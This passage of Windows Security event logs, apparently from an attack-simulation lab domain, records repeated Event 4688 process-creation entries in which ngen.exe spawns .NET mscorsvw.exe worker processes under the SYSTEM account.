Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 960 -InterruptEvent 0 -NGENProcess 9b4 -Pipe 9a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255292 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9b4 -InterruptEvent 0 -NGENProcess 97c -Pipe 9a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255291 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa08 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 960 -InterruptEvent 0 -NGENProcess 97c -Pipe 9b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255290 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd20 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 958 -InterruptEvent 0 -NGENProcess 97c -Pipe 99c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255289 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e0 -InterruptEvent 0 -NGENProcess 97c -Pipe 994 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255307 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb68 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 930 -InterruptEvent 0 -NGENProcess 8e4 -Pipe 9c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255306 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11ac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c4 -InterruptEvent 0 -NGENProcess 8e4 -Pipe 9cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255305 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9d8 -InterruptEvent 0 -NGENProcess 8e4 -Pipe 9b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255304 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x61c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 96c -InterruptEvent 0 -NGENProcess 8e4 -Pipe 894 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255303 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1390 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9d8 -InterruptEvent 0 -NGENProcess 9b4 -Pipe 9d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255302 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 958 -InterruptEvent 0 -NGENProcess 9b4 -Pipe 8f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255301 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9b4 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 8f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255300 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 958 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 918 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255299 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x264 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 870 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 95c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255298 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x368 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8ec -InterruptEvent 0 -NGENProcess 8e0 -Pipe 910 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255297 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1288 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 930 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 8f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255296 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e0 -InterruptEvent 0 -NGENProcess 9b4 -Pipe 960 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255295 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8f8 -InterruptEvent 0 -NGENProcess 9b4 -Pipe 920 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255318 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess 9f0 -Pipe 9e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the 